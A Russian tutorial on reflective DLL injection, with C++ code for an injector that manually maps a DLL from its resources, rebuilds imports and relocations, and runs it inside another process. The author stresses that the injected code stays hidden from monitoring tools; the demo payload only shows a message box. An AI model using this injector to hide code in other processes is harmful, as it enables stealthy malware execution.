Отражающая DLL инъекция
Чтобы полностью понять содержание этой статьи, необходимы знания:
- C/C ++
- WinAPI
- Виртуальная память
- Формат файла PE
DLL инъекция
DLL инъекция осуществляется путем внедрения DLL в пространство другого процесса и последующего выполнение его кода.
Примером может послужить следующим фрагментом кода:
VOID InjectDll(HANDLE hProcess, LPCSTR lpszDllPath) { LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, lpBaseAddress, lpszDllPath, dwDllPathLen, &dwWritten); HMODULE hModule = GetModuleHandle("kernel32.dll"); LPVOID lpStartAddress = GetProcAddress(hModule, "LoadLibraryA"); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL); }
Первым шагом является выделение места в пространстве виртуальной памяти целевого процесса, что можно сделать с помощью функции VirtualAllocEx
, указав дескриптор процесса. Затем мы можем использовать WriteProcessMemory
для записи данных в процесс, используя полный путь к полезной нагрузке DLL. Чтобы выполнить код, все , что мы должны сделать это восстановить LoadLibrary
функцию из kernel32
модуля , а затем вызвать CreateRemoteThread
для выполнения LoadLibrary
в целевом процессе , чтобы заставить загрузить полезную нагрузку DLL в качестве библиотеки. В результате она немедленно выполнит DllMain
с указанием.
Вот пример кода DLL, который я буду использовать для демонстрации:
BOOL APIENTRY DllMain(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved) { ::MessageBox(NULL, L"Hello world!", L"Test DLL", MB_OK); return TRUE; }
Отражающая DLL инъекция (Reflective DLL Injection)
В предыдущем коде внедрения DLL источник DLL получен по полному пути на диске. Из-за этого такой метод не очень скрытный, а также данная зависимость может быть проблемой в случае разделения.
Эти проблемы могут быть решены с помощью Reflective DLL инъекции,которая позволяет получать DLL в форме необработанных данных.
Чтобы иметь возможность вводить данные в целевой процесс, мы должны вручную отобразить бинарник в виртуальную память, как это делал бы загрузчик образов Windows при вызове LoadLibrary
.
Вот краткое описание шагов алгоритма, которые будут выполнены для внедрения DLL в внешний процесс:
- Получение полезной нагрузки DLL
- Отображение DLL в памяти
- После отображения его в память, его таблица импорта должна быть перестроена
- Сопоставление DLL целевому процессу
- Сопоставленный DLL записывается в целевой процесс.
Извлечение из ресурсов Чтобы сохранить DLL вместе с инжектором как единое целое, мы можем воспользоваться разделом ресурсов формата PE.
Извлечение необработанного двоичного файла DLL является тривиальной задачей, которую можно выполнить с помощью API ресурса. Перед извлечением мы должны проверить, существует ли DLL в ресурсах следующим образом:
BOOL CALLBACK EnumResNameProc (HMODULE hModule, LPCWSTR lpszType, LPWSTR lpszName, LONG_PTR lParam) { HRSRC *h = reinterpret_cast<HRSRC *>(lParam); HRSRC hRsrc = ::FindResource(hModule, lpszName, lpszType); if (!hRsrc) return TRUE; else { *h = hRsrc; return FALSE; } return TRUE; } bool Injector::HasPayload() { HMODULE hModule = ::GetModuleHandle(NULL); if (!hModule) return false; HRSRC hRsrc = NULL; if (!::EnumResourceNames(hModule, L"PAYLOAD", EnumResNameProc, reinterpret_cast<LPARAM>(&hRsrc)) && GetLastError() != ERROR_RESOURCE_ENUM_USER_STOP) return false; if (!hRsrc) return false; this->payload->hResPayload = hRsrc; return true; }
Приведенный выше код будет перечислять все ресурсы типа PAYLOAD
и, если выполнение будет успешным, то будет взят дескриптор ресурса путем вызова FindResource
. Получив дескриптор, мы можем получить указатель на необработанные двоичные данные и скопировать их в память, используя следующую функцию:
bool Injector::LoadFromResource() { DWORD dwSize = ::SizeofResource(::GetModuleHandle(NULL), this->payload->hResPayload); HGLOBAL hResData = ::LoadResource(NULL, this->payload->hResPayload); if (hResData) { LPVOID lpPayload = ::LockResource(hResData); if (lpPayload) { if (MemoryMapPayload(lpPayload)) return true; } } return false; }
Имейте в виду, что после вызова LockResource
указатель на ресурс DLL доступен только для чтения, а данные представлены в виде диска, что означает, что все смещения - это смещение файлов, а не смещения памяти.
Отображение в память Нам понадобится преобразовать его в форму памяти для дальнейшей обработки, для этого мы можем проанализировав его структуру и отобразить его в пространство памяти.
bool Injector::MemoryMapPayload(LPVOID lpPayload) { PIMAGE_DOS_HEADER pidh = reinterpret_cast<PIMAGE_DOS_HEADER>(lpPayload); PIMAGE_NT_HEADERS pinh = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<DWORD>(lpPayload) + pidh->e_lfanew); HANDLE hMapping = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, pinh->OptionalHeader.SizeOfImage, NULL); if (hMapping) { LPVOID lpMapping = ::MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0); if (lpMapping) { //сопоставим полезную нагрузку с памятью ::CopyMemory(lpMapping, lpPayload, pinh->OptionalHeader.SizeOfHeaders); //скопируем разделы for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER pish = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<DWORD>(lpPayload) + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i); ::CopyMemory(reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(lpMapping) + pish->VirtualAddress), reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(lpPayload) + pish->PointerToRawData), pish->SizeOfRawData); } this->vPayloadData = std::vector<BYTE>(reinterpret_cast<LPBYTE>(lpMapping), reinterpret_cast<LPBYTE>(lpMapping) + pinh->OptionalHeader.SizeOfImage); ::UnmapViewOfFile(lpMapping); ::CloseHandle(hMapping); return true; } ::CloseHandle(hMapping); } return false; }
Здесь сегмент памяти отображается так, что мы можем преобразовать бинарный файл в его отображенный в памяти аналог. Разделы сначала копируются в память, поскольку они совпадают с объектом диска и образом памяти. Далее перечисляются заголовки разделов, чтобы собрать виртуальные смещения самих разделов, которые используются для вставки разделов в их соответствующие области. После завершения преобразования мы можем просто сохранить его и очистить отображенную память.
Пересборка и внедрение DLL
Прежде чем пересобрать библиотеку DLL, мы должны сначала проверить, существует ли целевой процесс, и, если он существует, получить дескриптор к нему. Мы можем сделать это, перечислив все запущенные процессы и затем сравнив их имена:
bool Injector::GetProcess() { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(hSnapshot, &pe32)) { while (Process32Next(hSnapshot, &pe32)) { if (wcsicmp(pe32.szExeFile, this->szProcessName.c_str()) == 0) { HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); ::CloseHandle(hSnapshot); this->payload->hProcess = hProcess; return true; } } } else return ::CloseHandle(hSnapshot), false; return false; }
Теперь мы можем проверить, можем ли мы выделить некоторую память в адресном пространстве целевого процесса. Для этого мы можем использовать VirtualAllocEx
функцию, указав дескриптор процесса и размер изображения:
this->payload->lpAddress = ::VirtualAllocEx(this->payload->hProcess, NULL, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!this->payload->lpAddress) return Debug(L"Failed to allocate space: %lu\n", GetLastError()), false;
Как только мы подтвердим, что есть свободное место, мы можем перейти к пересоберем DLL. Пересоберем таблицы импорта:
bool Injector::RebuildImportTable(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh) { if (pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) { PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(reinterpret_cast<DWORD>(lpBaseAddress) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (pImportDescriptor->Name != NULL) { LPSTR lpLibrary = reinterpret_cast<PCHAR>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->Name); HMODULE hLibModule = ::LoadLibraryA(lpLibrary); PIMAGE_THUNK_DATA nameRef = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->Characteristics); PIMAGE_THUNK_DATA symbolRef = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->FirstThunk); PIMAGE_THUNK_DATA lpThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->FirstThunk); for (; nameRef->u1.AddressOfData; nameRef++, symbolRef++, lpThunk++) { if (nameRef->u1.AddressOfData & IMAGE_ORDINAL_FLAG) *(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, MAKEINTRESOURCEA(nameRef->u1.AddressOfData)); else { PIMAGE_IMPORT_BY_NAME thunkData = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(reinterpret_cast<DWORD>(lpBaseAddress) + nameRef->u1.AddressOfData); *(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, reinterpret_cast<LPCSTR>(&thunkData->Name)); } } ::FreeLibrary(hLibModule); pImportDescriptor++; } } return true; }
По сути, таблица импорта получается через структуру необязательного заголовка в формате PE и обходит ее, извлекая имена импортированных функций, а затем перезаписывает FirstThunk
адреса. Для этого сначала нужно получить библиотеку, содержащую функцию LoadLibrary
, а затем вызвать GetProcAddress
для получения соответствующего адреса.
Следующим шагом является перемещение адреса с помощью таблицы перемещения. Дельта фактического выделенного базового адреса в целевом процессе вместе с исходным базовым адресом вычисляется с помощью простого вычитания:
DWORD dwDelta = reinterpret_cast<DWORD>(this->payload->lpAddress) - pinh->OptionalHeader.ImageBase;
Как и в таблице импорта, данные в таблице перемещения применяются с соответствующим смещением по указанным адресам с использованием вычисленной дельты:
bool Injector::BaseRelocate(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh, DWORD dwDelta) { IMAGE_BASE_RELOCATION* r = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD>(lpBaseAddress) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); IMAGE_BASE_RELOCATION* r_end = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD_PTR>(r) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - sizeof(IMAGE_BASE_RELOCATION)); for (; r < r_end; r = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD_PTR>(r) + r->SizeOfBlock)) { WORD* reloc_item = reinterpret_cast<WORD*>(r + 1); DWORD num_items = (r->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); for (DWORD i = 0; i < num_items; ++i, ++reloc_item) { switch (*reloc_item >> 12) { case IMAGE_REL_BASED_ABSOLUTE: break; case IMAGE_REL_BASED_HIGHLOW: *(DWORD_PTR*)(reinterpret_cast<DWORD>(lpBaseAddress) + r->VirtualAddress + (*reloc_item & 0xFFF)) += dwDelta; break; default: return false; } } } return true; }
Теперь, когда мы восстановили то, что должно быть восстановлено, и распределили память во внешнем процессе, мы можем просто написать весь двоичный файл, используя WriteProcessMemory
:
if (!::WriteProcessMemory(this->payload->hProcess, this->payload->lpAddress, this->vPayloadData.data(), pinh->OptionalHeader.SizeOfImage, NULL)) return Debug(L"Failed write payload: %lu\n", GetLastError()), false;
Выполнение DLL
Выполнение почти такое же, как и при обычном внедрении DLL с использованием вызова CreateRemoteThread
. Единственная разница здесь в том, что мы не будем использовать LoadLibrary
, но вместо этого мы будем использовать адрес значения точки входа непосредственно из DLL, которая должна бытьDllMain
.
this->payload->dwEntryPoint = reinterpret_cast<DWORD>(this->payload->lpAddress) + pinh->OptionalHeader.AddressOfEntryPoint; HANDLE hThread = ::CreateRemoteThread(this->payload->hProcess, NULL, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(payload->dwEntryPoint), NULL, 0, NULL);
Вот и все!)
Демонстрация
В этой демонстрации я буду использовать, putty.exe
, потому что я не могу использовать explorer.exe
,потому что это 64-битный процесс по сравнению с моим 32-битным инжектором и DLL. Кроме того, у меня нигде нет 32-битной виртуалки. Я также буду использовать инструмент мониторинга Process Hacker для просмотра результата внедрения DLL.
Обычная DLL инъекция
Вот результат обычного метода внедрения DLL:
Мы можем видеть, что он четко отображается в списке загруженных модулей и очевидно, что в затронутом процессе присутствует посторонний код.
Отражающая DLL инъекция
Давайте теперь проверим метод внедрения отражающей DLL:
И здесь нет названия для этого блока памяти. Помимо RWX
разрешений, нет никаких явных признаков того, что существует какой-либо сторонний код!